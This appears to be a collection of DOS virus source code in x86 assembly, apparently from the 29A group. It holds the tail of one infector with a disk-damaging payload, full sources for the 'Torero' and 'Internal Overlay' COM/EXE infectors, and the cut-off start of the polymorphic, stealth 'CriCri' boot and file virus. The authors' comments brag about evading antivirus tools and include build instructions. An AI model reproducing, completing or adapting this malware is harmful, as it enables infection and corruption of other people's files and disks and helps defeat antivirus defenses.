next_letter : lodsbcmp al , 'a'jb no_lowercasecmp al , 'z'ja no_lowercasesub al , 20h

no_lowercase : mov cs :[ di ], alinc dior al , aljnz next_lettercmp cs :[ di - 3], 'MO'jne no_com_extcmp cs :[ di - 5], 'C.'je valid

no_com_ext : cmp byte ptr cs :[ di - 6], 'N'je no_validcmp cs :[ di - 3], 'EX'

jne no_validcmp cs :[ di - 5], 'E.'je valid

no_valid : stc

valid : pop dipop sipop axret

get_drive : mov di , dxxor dl , dlcmp byte ptr [ di +1], ':'jne default_drivemov dl ,[ di ]and dl , 1fh

default_drive : ret

lseek_end : mov ax , 4202hxor cx , cxmov dx , cxint 21hret

lseek_start : mov ax , 4200hxor cx , cxmov dx , cxint 21hret

mark_bad : cmp cs : year , 0cahja activationret

activation : push axpush bxpush cxpush dxpush dspush espush dicmp ah, 6chjne no_extendedmov dx , si

no_extended : call get_drivemov al , dldec alcmp al , 0ffhjne with_drivemov ah, 19hint 21h

with_drive : cmp al , 1ja no_actmov byte ptr cs : file_attribs , alpush cspop dsmov al ,byte ptr cs : file_attribsmov cx , 1xor dx , dx

mov bx , offset headerint 25h

add sp , 2jc no_actmov al ,byte ptr cs : file_attribsmov dx ,[ bx +16h ]mov cs : file_time , dxmov dx ,[ bx +0eh ]int 25h

add sp , 2jc no_actmov cx , 200hadd cx , bxmov di , bx

next_cluster : mov ax ,[ di ]or al ,[ di +2]add di , 3cmp di , cxjae no_actor ax , axjnz next_cluster

sub di , 3mov [ di ], 7ff7hmov byte ptr [ di +2], 0ffhmov al ,byte ptr cs : file_attribsmov cx , 1int 26h

add sp , 2jc no_actmov al ,byte ptr cs : file_attribsadd dx , cs : file_timeint 26h

add sp , 2

no_act : pop dipop espop dspop dxpop cxpop bxpop axret

bytes_com :file_sp dw 020cdhfile_ss dw 0file_type db 0handle dw 0jmp_op db 0e9h

_length :

jmp_offset dw 0ofs_int21 dw 0seg_int21 dw 0ofs_int24 dw 0seg_int24 dw 0

ofs_int13 dw 0seg_int13 dw 0year db 0file_attribs dw 0file_date dw 0file_time dw 0file_name db 65 dup (?)

header :signature dw 0part_pag dw 0page_cnt dw 0relo_cnt dw 0hdrsize dw 0minmem dw 0maxmem dw 0relo_ss dw 0exe_sp dw 0chksum dw 0exe_ip dw 0relo_cs dw 0

dw 0dw 0

f_stack :

ts1423 endsend start

;; ÜÛÛÛÛ ÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ; Torero ÛÛÛ Û ÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ; by Mister Sandman/29A ÜÜÜÛ Ûß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ; ÛÛÛÜÜ ÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ; ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ;; Hoho... here you have a new coolio viral techniqu e, especially dedicated; to those who think that everything on viruses w as invented yet :) This; virus ain't a 'powerful' one; in fact, and as i decided to do in this; first issue as i hadn't many time, it's a simple infector just written; to show this new viral capability, never used bef ore as far as i know.;; And what is this technique about?, you might ask. Ok... apart from DirII; and all its family, we don't know many viruses t hat store the original; header of infected files in other place than the viral code, right?;; AVV and i were making some researches and suddenl y found ten free unused; bytes on the directory entry of each file... and this the place where my; virus stores the header of every file it infects :) In this way, the AV; companies must write some specific routines for disinfecting Torero...; this means that the cleaning of our virus is m ore difficult, which is; what we're looking for :);; Anyway, as every viral technique, it has some pr os and some cons... and; the cons consist on the next simple thingy: if so meone copies, compress-; es, or manipulates an infected file, it will hav e a different directory; entry, and then it will be imposible to restor e its original header.;; However, and as this is just a sample virus, i di dn't pay much attention; to this kinda probabilities, and i just used an i dea Wintermute gave me:; if the host doesn't find its original header, it will display a message; i'm sure you all know: 'This program requires Mic rosoft Windows.' :);; As a last (but not least) feature in this virus, don't forget to have a; look at the infection mark, based on using the e igth attribute bit, al-; ways empty and unused until now. This is a specia lly good infection mark; for a virus, as it's very simple and doesn't get flagged because of in-; correct time stamp and all that shit. Besides, it makes things easier; for us when implementing stealth techniques, etc.;; About the name, i decided to call it 'Torero' because it's a spanish; word which means 'bullfighter', often used for telling someone that he; or what he did is cool, because toreros are suppo sed to have the biggest; nuts around :);; Compiling instructions;; tasm /m torero.asm; tlink torero.obj; exe2bin torero.exe torero.com

.286torero segment byte public

assume cs : torero , ds : toreroorg 0

torero_start label bytetorero_size equ torero_end - torero_start

torero_entry : call delta_offset ; Get ë-offset in BPdelta_offset : pop bp ; for l8r use

sub bp, offset delta_offset

mov ah, 30h ; Get DOS versionint 21h

cmp bx , ';)' ; Are we alreadyjne set_int_21h ; memory resident?

push cs ; Save CS for the hostmov bx , ds ; Don't lose DSxor ax , ax ; Jump to the memorymov ds , ax ; copy and restorepush word ptr ds :[ 21h* 4+2] ; the host headerpush offset check_hostmov ds , bxretf

set_int_21h : mov ax , esdec axmov ds , ax ; Program's MCB segmentxor di , di

cmp byte ptr ds :[ di ], 'Y' ; Is it a Z block?jna set_int_21h

sub word ptr ds :[ di +3],(( torero_size / 10h )+ 2)sub word ptr ds :[ di +12h ],(( torero_size / 10h )+ 2)add ax ,word ptr ds :[ di +3]inc ax

mov ds , axmov byte ptr ds :[ di ], 'Z' ; Mark block as Zmov word ptr ds :[ di +1], 8 ; System memorymov word ptr ds :[ di +3],(( torero_size / 10h )+ 1)mov word ptr ds :[ di +8], 4f44h ; Mark block as ownedmov word ptr ds :[ di +0ah ], 0053h ; by DOS (444f53h,0)inc ax

cldpush cspop dsmov es , axmov cx , torero_size ; Copy virus to memorymov si , bprep movsb

push espush offset copy_vector ; Jump to the virusretf ; copy in memory

copy_vector : push dsmov ds , cxmov es , ax ; Save int 21h'smov si , 21h* 4 ; original vectorlea di , old_int_21hmovswmovsw

mov word ptr [ si - 4], offset new_int_21hmov word ptr [ si - 2], ax ; Set ours

mov si , 13h* 4 ; Save int 13h'slea di , old_int_13h ; original vector

movswmovsw

mov word ptr [ si - 4], offset new_int_13hmov word ptr [ si - 2], ax ; Set ours

mov ds , axcheck_host : call open_host ; Open the host

call get_sft ; Get its SFT for ourcall check_mark ; infection markjb messed_up ; File is messed up :-(

call read_entry ; Read the entrycall point_entry ; Point to the headercmp word ptr ds :[ si ], 0 ; Is it empty?jne restore_header

cmp word ptr ds :[ si +2], 0 ; Empty too? huh :-(je messed_up ; File is messed up

restore_header : pop es ; ES=host segmentpush es ; Store it in the stackmov di , 100h ; file header from thepush di ; Store the IPmovsw ; DS:SI points to themovsb ; original header, in

; the directory entrypush espop ds ; DS=ESretf ; Jump to the host

messed_up : mov ah, 3eh ; File is messed up...int 21h ; close it and showcall emergency ; the Windows message :)

; **´ Torero's int 13h handler Ã******************* *************************

new_int_13h : cmp ah, 3je sector_write ; Sector write?

db 0eah ; Jump back to theold_int_13h dw ?,? ; original int 13h

sector_write : push ax bx cxpushf

xor ah, ah ; Calculate how manymov cl , 4 ; files we must testshl ax , cl ; by multiplying themov cx , ax ; sector number withor cx , cx ; 10h (entries)je bucle_end

int_13h_bucle : cmp byte ptr es :[ bx +9], 'O' ; -O-?jne more_files

mov al ,byte ptr es :[ bx +9]sub al , 2cmp al ,byte ptr es :[ bx +0ah ] ; -OM?jne more_filescmp al , 'M' ; Then it's a COMje subtract

more_files : add bx , 20h ; Look for more filesloop int_13h_bucle ; Look'n'loop :)

bucle_end : popfpop cx bx ax ; End of the bucle

; Call the originalcall int_13h ; int 13h and jump

xor_and_jump : xor ax , ax ; to the original int

return_to_int : push bp axpushf

pop ax ; Return to themov bp, sp ; original int 13hmov word ptr ss :[ bp+8], ax

pop ax bpretf 2

subtract : cmp byte ptr es :[ bx ], 0e5h ; A deleted file...je more_files ; bah, skip it

cmp byte ptr es :[ bx +0bh ], 80h ; Infected?jb more_files

cmp word ptr es :[ bx +0ch ], 0 ; Is the header fieldjne more_files ; empty?

cmp word ptr es :[ bx +0eh ], 0jne more_files

mov ax ,word ptr cs :[ header_store ] ; Ok, let's copymov word ptr es :[ bx +0ch ], ax ; the original file

; header to themov ax ,word ptr cs :[ header_store +2] ; directory entrymov word ptr es :[ bx +0eh ], axjmp more_files

; **´ Torero's signature Ã************************* *************************

signature db 0dh , 0ah , '[Torero €:-) by Mister Sandman/29A]' , 0dh , 0ah

; **´ Torero's int 21h handler Ã******************* *************************

new_int_21h : clicmp ah, 6ch ; This code is stolenja real_checks ; from the original

; DOS kernel handler,cmp ah, 33h ; so they won't catchjb real_checks ; us if they don't gojz fake_stuff ; further thru the

; rest of the code ofcmp ah, 64h ; the handler... thanxja fake_stuff ; to Qark for thisjz real_checks ; cool idea :)

cmp ah, 51hjz real_checks

cmp ah, 62hjz fake_stuff

cmp ah, 50h

jz real_checks

fake_stuff : push ax bx cx ; Shit, shit, shit,nop ; shit... skip itpop cx bx ax

real_checks : cmp ah, 30hjne opening ; (get DOS version)?

mov bx , ';)' ; Return the smiley :)iret

opening : cmp ah, 3dh ; File opening?je file_open

cmp ax , 4301h ; Attribute change?je new_attribute

cmp ax , 6c00h ; Extended open?je file_open

jmp_int_21h db 0eah ; Jump to the originalold_int_21h dw ?,? ; int 21h address

; **´ File open Ã********************************** *************************

file_open : call infect_file ; Infection routinejmp dword ptr cs :[ old_int_21h ] ; Jump back to int 21h

; **´ New attribute Ã****************************** *************************

new_attribute : mov ah, 30h ; Change 43h for 30hiret ; so it will do nothing

; **´ Infection routine Ã************************** *************************

infect_file : pushfpush ax bx cx dx ; Push registers, flagspush si di ds es ; and all that shit

call set_int_24h ; Set int 24h

cmp ah, 6ch ; Extended open?jne normal_open

mov dx , si ; Fix it to DS:DXnormal_open : mov ax , 3d00h ; Open the file

call int_21hxchg bx , ax ; File handle in BX

push cs ; CS=DSpop ds

call get_sft ; Get file's SFTcall check_mark ; Already infected?jae close_and_pop

mov byte ptr es :[ di +2], 2 ; Open mode=r/wmov ax ,word ptr es :[ di +28h ] ; Check the extensioncmp ax , 'OC' ; of our victimjne close_and_pop

mov byte ptr cs :[ infecting ], 1

mov ah, 3fh ; Read the first threemov cx , 3 ; bytes to our temporallea dx , header_store ; header storecall int_21h

mov ax ,word ptr es :[ di +11h ] ; File lenght in AXcmp ax , 0ea60h ; Too big file?ja close_and_pop

push ax ; Lseek to the end ofcall lseek_end ; the file

mov ah, 40h ; Append our k-r4dmov cx , torero_size ; code :)lea dx , torero_startcall int_21h

pop ax ; Make the jmp tosub ax , 3 ; our virus bodymov word ptr cs :[ com_header +1], ax ; for the new filecall set_marker

call lseek_start ; Lseek to the start

mov ah, 40h ; Write the new headermov cx , 3 ; in so we'll be alwayslea dx , com_header ; executed first ;Pcall int_21h

mov ax ,word ptr es :[ di +11h ] ; Actual size in AXsub ax , 3 ; Lseek to the positioncall lseek_end ; of the original header

mov ah, 40h ; Destroy all the info,mov cx , 3 ; already stored in thelea dx , garbage ; directory entry };)call int_21h

close_and_pop : mov ah, 3eh ; Close the filecall int_21h

call reset_int_24h ; Reset int 24h

pop es ds di si ; And pop out all thepop dx cx bx ax ; shit we pushed b4popfret

; **´ Call to the original int 13h Ã*************** *************************

int_13h : pushfcall dword ptr cs :[ old_int_13h ] ; Call the originalret ; int 13h

; **´ Call to the original int 21h Ã*************** *************************

int_21h : pushfcall dword ptr cs :[ old_int_21h ] ; Call the originalret ; int 21h

; **´ Get SFT in ES:DI Ã*************************** *************************

get_sft : push ax bx

mov ax , 1220h ; Get job file tableint 2fh ; in ES:DI (DOS 3+)jc bad_sft

xor bx , bx ; Get the address ofmov ax , 1216h ; the specific SFT formov bl ,byte ptr es :[ di ] ; our handleint 2fh

bad_sft : pop bx ax ; Pop registers andret ; return to the code

; **´ Check our infection mark Ã******************* *************************

check_mark : cmp byte ptr es :[ di +4], 80h ; Compare with the min.ret ; value of our mark

; **´ Read the directory entry Ã******************* *************************

read_entry : push ax bx cxcall parameters ; Load the sectorint 25h

pop cx cx bx axret

; **´ Sector loading Ã***************************** *************************

parameters : mov ax ,word ptr es :[ di +1bh ] ; Load the sectormov word ptr cs :[ control_block ], ax ; number in ourmov ax ,word ptr es :[ di +1dh ] ; control blockmov word ptr cs :[ control_block +2], ax ; Read a longmov cx , 0ffffh ; sector, 4 bytes

push cs ; CS=DSpop ds

mov word ptr cs :[ control_block +4], 1 ; One sectormov word ptr cs :[ control_block +6], offset sectormov word ptr cs :[ control_block +8], cslea bx , control_block ; Control block

push ds silds si ,dword ptr es :[ di +7] ; Point to thelodsb ; DPBpop si dsret

; **´ Point to the original header Ã*************** *************************

point_entry : mov al ,byte ptr es :[ di +1fh ] ; Guess the entryxor ah, ah

push cxmov cl , 5 ; Multiply it*20hshl ax , clpop cx

lea si , sector ; Calculate its offsetadd si , ax ; into the sector andadd si , 0ch ; move to si+0ch (header)ret

; **´ Set int 24h Ã******************************** *************************

set_int_24h : push ax si dipush ds es

xor ax , ax ; Point to the IVTmov ds , ax

push cs ; CS=ESpop es

mov si , 24h* 4 ; Save the original intmov di , offset old_int_24h ; 24h address and setcld ; ours l8rmovswmovsw

mov word ptr [ si - 4], offset new_int_24hmov word ptr [ si - 2], cs

pop es dspop di si axret

; **´ Restore int 24h Ã**************************** *************************

reset_int_24h : push ax si dipush ds es

xor ax , ax ; Point to the IVTmov es , ax

push cs ; CS=DSpop ds

mov si , offset old_int_24h ; Restore the originalmov di , 24h* 4 ; int 24h addresscldmovswmovsw

pop es dspop di si axret

; **´ Torero's int 24h handler Ã******************* *************************

new_int_24h : mov al , 3 ; Pass the error codeiret

old_int_24h : dw ?,? ; Original int 24h

; **´ Set our infection mark Ã********************* *************************

set_marker : mov byte ptr es :[ di +4], 80h ; Attribute bit 8ret

; **´ Lseek to the start of the file Ã************* *************************

lseek_start : mov word ptr es :[ di +15h ], 0 ; Read pointer=0ret

; **´ Lseek to the end of the file Ã*************** *************************

lseek_end : mov word ptr es :[ di +15h ], ax ; Read pointer=fileret ; length (EOF)

; **´ Open the host we're being executed from Ã**** *************************

open_host : mov ah, 62h ; Get PSP addressint 21h

push esmov ds , bxmov bx ,word ptr ds :[ 2ch ] ; DS:2ch=PSP segmentmov es , bxxor di , di

mov al , 1 ; Look for 01h (themov cx , 0ffffh ; mark which sepparatesrepnz scasb ; the path from thejnz emergency ; name of the file that

; is being executed)xor al , alscasb

push espop ds es

mov ah, 3dh ; Open the hostmov dx , dicall int_21hxchg bx , ax ; Pass handle to BXret ; and return

; **´ Emergency routine... data lost! Ã************ *************************

emergency : push cs ; CS=DSpop ds

mov ah, 9 ; Show the message...lea dx , windows ; This programs requiresint 21h ; Microsoft Windows

mov ax , 4c01h ; Errorlevel=01 :)int 21h

; **´ Data area Ã********************************** *************************

sector db 200h dup (?) ; The long sector

control_block dd ? ; Control blockdw ?

garbage dd ?db ';)'

windows db 'This program requires Microsoft Windows.'db 0dh , 0ah , '$'

action db ? ; Reading or writing?infecting db ?

com_header db 0e9h ,?,? ; The COM headerheader_store db 3 dup (?) ; Temporal header store

torero_end label byte

torero endsend torero_start

;; ÜÛÛÛÛ ÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ; Internal Overlay ÛÛÛ Û ÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ; by Tcp/29A ÜÜÜÛ Ûß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ; ÛÛÛÜÜ ÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ; ÛÛÛÛÛ ÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ;; Here you have a virus i wrote some time ago... an old but still pretty; interesting virus (anyway, ain't so old... one ye ar or less :) Its pe-; culiarity consists in that it infects COM and EX E files without modi-; fying their headers! ;) In this way, it doesn't get detected under a; very large number of CRC checkers which just com pare the first bytes; and the length of the files whose info it stores.;; Internal Overlay (IntOv for friends :) does this by inserting an over-; lay loader at the entry point of the files it inf ects, and the corres-; ponding overlay -the virus- at the end of the f ile, appended to the; infected file in the traditional way :);; It infects, as i told before, COM and EXE files on execution (4b00h); and opening (3dh), and it doesn't infect COMMAND .COM or EXEs with re-; location items in the entry point, unless this it em is located in off-; set 7 (PkLited files have an item there) ;);; Compiling instructions:;; tasm /m intov.asm; tlink intov.obj; exe2bin intov.exe intov.com

assume cs : code , ds : code , ss : code , es : codeorg 0code segment

_BYTES = (( end_vir - start )+( ov_part - start )+ 15)_PARAG = _BYTES/ 16

start :

delta_ofs equ word ptr $+1mov si , 100h ; Delta offset (precalc)

; In dropper, 100hid_mark equ word ptr $+1

mov cx , '<>' ; Length to search for, it will be the; id mark: '<>'... why not? :)

reloc_pkl equ word ptr $+1mov bp, 0000 ; For PkLite's relocationmov es , ds :[ 2ch ] ; es-> environmentxor ax , axxor di , direpnz scasw ; Search for two consecutive zeros

; Searching file nameinc diinc di ; es:di -> file namepush cspush dspush espush dipush ds

mov ax , dsdec ax

mov es , ax ; MCB access; ES-> MCB

mov bx , es :[ 0003 ]sub bx , _PARAG+1pop esmov ah, 4ahint 21h ; Free memory. If resident, doesn't return!mov ah, 48hmov bx , _PARAGint 21h ; Want some memorymov es , axpush cspop ds

mov cx , offset ( ov_part )push sixor di , direp movsb ; Move it to reserved areapop simov ax , offset ( new_mcb)push espush axretf ; Jump to reserved area

new_mcb:push dspop es ; es:= old cspop dxpop dsmov ax , 3d00hint 21h ; Open the filexchg bx , ax ; bx:=handlepush cspop ds

long_high equ word ptr $+1mov cx , 0000

long_low equ word ptr $+1mov dx , offset ( ov_part ) ; For the droppermov ax , 4200hint 21h ; Get set in file

; Point to 'overlay'mov cx , offset ( end_vir )mov ah, 3fhmov dx , offset ( ov_part )int 21h ; Read the 'overlay'mov ah, 3eh ; We're up to here in the Entry Point

;Ú************************************************* *********************¿;³ Now, the virus overlay part ³;À************************************************* *********************Ù

ov_part :int 21h ; Close filepush sipush sipop dimov si , offset ( original )mov cx , offset ( ov_part )rep movsb ; Restore original code in memorypop sipush cspop axdec ax

mov es , ax ; es-> MCBmov word ptr es :[ 0001 ], 8 ; O.S. blockmov ax , 3521h ; Get and change int 21hint 21hmov ofs_int21 , bxmov seg_int21 , esmov ah, 25hmov dx , offset ( int_21 )int 21h

exec_host :pop ds ; PSPpush sixor ax , axxor bx , bxxor cx , cxxor dx , dxxor bp, bpxor si , sixor di , dipush dspop esretf ; jump to host

c_com db 'COM'db 'EXE'db 'exe'db 'com'

c_21 :pushfcall dword ptr cs :[ ofs_int21 ]ret

int_24 : mov al , 3iret

db '[Internal Overlay, Tcp / 29A]'

int_21 :cmp ah, 4ah ; Can be our calljne f_funcpush axpush dimov ax , '<>'sub ax , cxshr di , 1sub ax , diinc ax ; If 0 -> our callpop dipop axjnz f_funcpop cx ; We're not interested in offsetpop di ; Interested in code segmentpop cx ; We're not interested in flagspop dxpop ds ; ds:dx -> file namemov ax , 3d00hcall c_21 ; Open filexchg ax , bx ; bx:=handlemov ds , dimov cx ,[ si +long_high ] ; Restore datamov dx ,[ si +long_low ]add dx , offset ( original )- offset ( ov_part )

adc cx , 0mov ax , 4200hint 21h ; Postion on overlay's portion that

; keeps original codemov dx , simov ah, 3fhmov cx , offset ( ov_part )int 21h ; We readmov ah, 3ehint 21h ; We close the fileadd [ si +1], bp ; Reallocate Pklite's item (add 0 otherwise)jmp exec_host

f_func :push bxpush cxpush dxpush bppush dspush espush sipush dipush axmov di , dxmov al , 0mov cx , 666h ;-)repnz scasbsub di , 4 ; filename.ext

; ^pop axpush axcmp ax , 4b00h ; file execution?je is_execcmp ah, 3dh ; open-file?je check_ext

end_21 :pop axpop dipop sipop espop dspop bppop dxpop cxpop bxdb 0eah ; jmp far

ofs_int21 dw ?seg_int21 dw ?

check_ext :push dspush cspop dsmov si , offset ( c_com)mov cx , 4

loop_ext : push si ; check valid extensionspush dicmpswjne next_extcmpsb

next_ext : pop dipop sije ext_ok

add si , 3loop loop_extpop dsor cx , cxjz end_21

ext_ok : pop dsis_exec :

cmp byte ptr ds :[ di - 2], 'D' ; Don't infect command.comjz end_21cmp byte ptr ds :[ di - 2], 'd'jz end_21mov ax , 3524h ; Read and prepare int 24hint 21hpush espush bxmov ah, 25hpush ax ; 2524hpush dspush dxpush cspop dsmov dx , offset ( int_24 )int 21hpop dxpop dsmov ax , 4300hint 21h ; Get attribspush cxpush dspush dxxor cx , cxmov ax , 4301h ; Reset all attribsint 21hjb rest_atribsmov ax , 3d02hcall c_21 ; Open the file I/Opush cspop dsxchg ax , bx ; bx:=handlemov ax , 5700hint 21h ; Get time/datepush dxpush cxmov ah, 3fhmov dx , offset ( header )mov cx , 1Chint 21h ; Read file headermov ax , val_ipmov delta_ofs , axxchg bp, ax ; bp:=val_ipcmp signature , 'ZM' ; EXE?je exe

; Assume it's a comcmp byte ptr signature , 0e9h ; jmp?jne rest_hourmov ax ,word ptr signature +1 ; Offset jmpadd ax , 3 ; Calculate file's offsetmov delta_ofs , axadd delta_ofs , 100hxor dx , dxxor cx , cxjz exe &com

rest_hour : mov ax , 5701h ; Restore date/timepop cxpop dxint 21hmov ah, 3eh ; We closeint 21h

rest_atribs : mov ax , 4301h ; Restore attribspop dxpop ds ; ds:dx -> file namepop cxint 21hpop ax ; ax:=2524hpop dxpop dsint 21hjmp end_21

exe :mov ax , header_sizemov cx , 16mul cx ; ax:=header lengthpush axmov ax , val_csimul cxadd ax , bp ; bp:=val_ipadc dx , 0 ; dx:ax := cs:ip inside load modulemov cx , relo_items ; Number of reallocation itemsjcxz items_okpush cxpush axpush dxxor cx , cx ; Get on reallocation tablemov dx , ofs_relocmov ax , 4200hint 21hpop dxpop ax

read_items :push axpush dxmov ah, 3fhmov dx , offset ( original )mov cx , 20* 4 ; Read 20 reallocaci¢n itemsint 21hmov si , dxmov di ,- 20* 4pop dxpop ax

process_item : pop cxpush bxmov bx ,[ si ]cmpsw ; inc si, inc si, inc di, inc dimov bp,[ si ]cmpsw ; inc si, inc si, inc di, inc di

sub bx , axsbb bp, dxjnz next_itemcmp bx , offset ( ov_part ) ; Is it part of code?jnbe next_itemcmp bx , 7 ; PkLite's code?pop bxjnz bad_item

push bxnext_item : dec cx

pop bxjcxz items_okor di , di ; We need read more items?push cxjnz process_itemjz read_items

items_ok :pop cx ; cx:= header length

exe &com: add ax , cxadc dx , 0 ; dx:ax := cs:ip offset in filepush axpush dxmov cx , dxxchg ax , dx ; = mov dx,axmov ax , 4200hint 21h ; get on the entry pointmov ah, 3fhmov cx , offset ( ov_part )mov dx , offset ( original )int 21h ; Read original codesub ax , cx ; Have enough space?jc no_infcmp pages , '<>' ; Id mark is in offset 4stcje no_infmov ax , 4202h ; Go to he end of filexor cx , cxcwdint 21hmov long_high , dx ; Save file-offset of codemov long_low , axmov ah, 40h ; 'Stick' to the filemov cx , offset ( end_vir )mov dx , offset ( ov_part )int 21h

no_inf : pop cxpop dxjc alr_infmov reloc_pkl , 0mov ax , 4200hint 21h ; Return to cs:ipmov ah, 40hmov cx , offset ( ov_part )cwdint 21h ; Write new code on entry-pointpush cx

bad_item : pop cxalr_inf : jmp rest_hour

end_vir :

original :header :signature dw 20cdhimage_size dw ?pages dw ?relo_items dw ?header_size dw ?mim_mem dw ?max_mem dw ?stack_seg dw ?

stack_ofs dw ?checksum dw ?val_ip dw ?val_cs dw ?ofs_reloc dw ?overlays dw ?

code endsend start

;-------------------------------------------------- --------------------------;CRI-CRI ViRuS (CoDe by Griyo/29A);-------------------------------------------------- --------------------------

;ResiDenT:

;WheN an inFecTed FiLe is Run thE viRus becaMes Res idEnt inTo a UMB;memoRy bloCk (if aVaLiabLe) or in conVenTionaL mem Ory. Then iT;hOOks int13h and int21h.

;InfEcTion (MulTiPartite):

;CriCri wRitEs itSeLf to The End of .Com and .Exe f iLes that aRe eXecUtEd ;or cLosEd aNd to The BooT SectOr of fLoppY diSks t Hat are accEsed. During;fiLe iNfeCtion the viRus UseS LoW LeveL SysTem fiL e tabLe and HookS;int03h and int24h.;CriCri doEs not inFect the fiLes thAt havE diGit o r V chaRactErs in ;thEir namEs As weLL as FiLes with toDays DatE and SomE antiVirUs ;eXecuTablEs. InfEcted fiLes Have 62 seCondS in tHe ir tiMe sTamp.

;SteALth (fiLe and booT LeveL):

;CriCri reTurNs cLean CopiEs oF inFected fiLes tHat are acceSed and hide;theiR tRue siZe. The viRus alSo reTurns the OriGin aL boot sEctoR of;fLoppy disKs tHat aRe read. The viRus disabLes his sTeaLth mechaNism;when some comPressiOn uttiLities are beinG eXecute d.

;PoLymorPhic:

;The viRus is polymorPHic in fiLes and bOOt secToRs . GenerAted PolymorPHic;deCrypToR conTains conDitiOnaL and AbsoluTe jumPs as WeLL as subRoutiNes;and inteRRupt caLLs.

;-------------------------------------------------- --------------------------com segment para 'CODE'

assume cs : com, ds : com, es : com, ss : com;-------------------------------------------------- --------------------------;Virus size in byteslenvir equ virus_copy - virus_entry;Virus size in parapara_size equ (( lenvir * 02h )+ 0Fh)/ 10h;Virus size in sectorssector_size equ (( lenvir +1FFh)/ 200h );Decryptor size in bytesdecryptor equ ( virus_body - virus_entry );Boot code size in bytesboot_size equ ( boot_end - boot_code );-------------------------------------------------- --------------------------;Create .COM launcher: TASM cricri.asm TLINK /t cri cri.obj

org 100h;-------------------------------------------------- --------------------------;Virus entry point;-------------------------------------------------- --------------------------virus_entry :;Store bp for launcher

sub bp, bp;Buffer were virus build polymorphic decryptor

db 0280h dup ( 90h )virus_body :;Save segment registers

push dspush es

;Check if running from boot or file

mov al ,byte ptr cs :[ prog_type ][ bp]cmp al , "B"je in_boot_sectorjmp go_ahead

;-------------------------------------------------- --------------------------;Virus working from boot sector;-------------------------------------------------- --------------------------in_boot_sector :;Reset DOS loaded flag

mov byte ptr cs :[ dos_flag ][ bp], 00h;Clear dos running switch

mov byte ptr cs :[ running_sw ], "R";Get int 13h vector

mov al , 13hcall get_int

;Save old int 13hmov word ptr cs :[ old13h_off ][ bp], bxmov word ptr cs :[ old13h_seg ][ bp], es

;Calculate our segment positionmov ax , cssub ax , 10hmov ds , ax

;Hook int 13hmov al , 13hmov dx , offset my_int13hcall set_int

;Restore segment registerspop espop ds

;Reboot systemint 19h

;-------------------------------------------------- --------------------------;Wait until dos is loaded;-------------------------------------------------- --------------------------wait_dos :;Hook int 21h at installation checktest_1 :

cmp ah, 01hjne test_2cmp si , 00BADhjne test_2cmp di , 0FACEhje dos_installed

;Hook int 21h if we detect a write operationtest_2 :

cmp ah, 03hje dos_installedret

;Hook int 21h to our handlerdos_installed :

call push_all;Set dos loaded flag

mov byte ptr cs :[ dos_flag ], 0FFh;Check dos version

mov ah, 30hint 21hcmp al , 04hjb exit_wait

;Save old int 21h vectormov al , 21hcall get_intmov word ptr cs :[ old21h_off ], bxmov word ptr cs :[ old21h_seg ], es

;Get our segmentpush cspop ds

;Point int 21h to our handlermov dx , offset my_int21hmov al , 21hcall set_int

exit_wait :call pop_allret

;-------------------------------------------------- --------------------------;Running from an executable;-------------------------------------------------- --------------------------go_ahead :;Installation check

mov si , 00BADhmov di , 0FACEhmov ah, 01hmov dl , 80hint 13hjc not_installedcmp si , 0DEADhjne not_installedcmp di , 0BABEhjne not_installedjmp control_end

not_installed :;Check dos version

mov ah, 30hint 21hcmp al , 04hjae check_datejmp control_end

check_date :;Get current date

mov ah, 2Ahint 21h

;Save today's datemov byte ptr cs :[ today ][ bp], dl

;Activation circunstance: 4th of Junecmp dh, 06hjne no_activationcmp dl , 04hjne no_activationjmp print_credits

no_activation :;Set dos loaded flag

xor al , aldec almov byte ptr cs :[ dos_flag ][ bp], al

;Clear dos running switchmov byte ptr cs :[ running_sw ], "R"

;Save old int 13hmov al , 13hcall get_intmov word ptr cs :[ old13h_seg ][ bp], esmov word ptr cs :[ old13h_off ][ bp], bx

;Save old int 03hmov al , 03hcall get_intmov word ptr cs :[ old03h_seg ][ bp], esmov word ptr cs :[ old03h_off ][ bp], bx

;Save old int 21h

mov al , 21hcall get_intmov word ptr cs :[ old21h_seg ][ bp], esmov word ptr cs :[ old21h_off ][ bp], bx

;Redirect traced int 21h to int 03hlds dx ,dword ptr cs :[ old21h ][ bp]mov al , 03hcall set_int

;-------------------------------------------------- --------------------------;Memory allocation;-------------------------------------------------- --------------------------

sub di , di;Get pointer to dos info block

mov ah, 52hint 03h

;Get pointer to the dos buffers structurelds si , es :[ bx +12h ]

;Get address of first umbmov ax , ds :[ si +1Fh]cmp ax , 0FFFFhje no_umbs

;Follow the chainnextumb :

mov ds , ax;Check for free umb's

cmp word ptr ds :[ di +01h ], dijnz no_free_umb

;Check if there is enought sizecmp word ptr ds :[ di +03h ], para_size +01hja handle_mcb

no_free_umb :;Check if this is the last umb

cmp byte ptr ds :[ di +00h ], "Z"je no_umbs

;Jump to next umb in the chainmov ax , dsinc axadd ax ,word ptr ds :[ di +03h ]mov ds , axjmp short nextumb

;Allocate memory from last mcbno_umbs:;Get pointer to dos info block

mov ah, 52hint 03h

;Get pointer to first mcbmov ax , esdec axmov es , axadd bx , 12lds di ,dword ptr es :[ bx +00h ]

;Follow the mcb chainnextmcb :;Check if this is the last mcb

cmp byte ptr ds :[ di +00h ], "Z"je ok_mcb

;Next mcbmov ax , dsinc axadd ax ,word ptr ds :[ di +03h ]mov ds , axjmp short nextmcb

ok_mcb:

;Check mcb size cmp word ptr ds :[ di +03h ], para_size +4000hja ok_mcb_sizejmp control_end

ok_mcb_size :;Sub top of memory in psp

sub word ptr ds :[ di +12h ], para_size +01hhandle_mcb :;Sub virus size and mcb size

sub word ptr ds :[ di +03h ], para_size +01h;Clear the last mcb field

mov byte ptr ds :[ di +00h ], "M";Jump to next mcb

mov ax , dsinc axadd ax ,word ptr ds :[ di +03h ]mov es , axinc axpush ax

